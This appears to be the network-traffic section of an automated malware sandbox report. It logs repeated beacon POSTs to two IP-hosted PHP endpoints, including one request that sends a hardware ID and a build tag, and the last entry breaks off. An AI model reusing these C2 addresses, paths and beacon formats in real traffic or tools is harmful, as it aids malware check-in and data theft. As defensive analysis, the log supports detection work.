Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCGDAAKFHIDBFIDBKFHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 46 31 45 45 46 30 42 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 2d 2d 0d 0a Data Ascii: ------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="hwid"FC6F1EEF0BF42681209724------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="build"mars------BFCGDAAKFHIDBFIDBKFH--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: 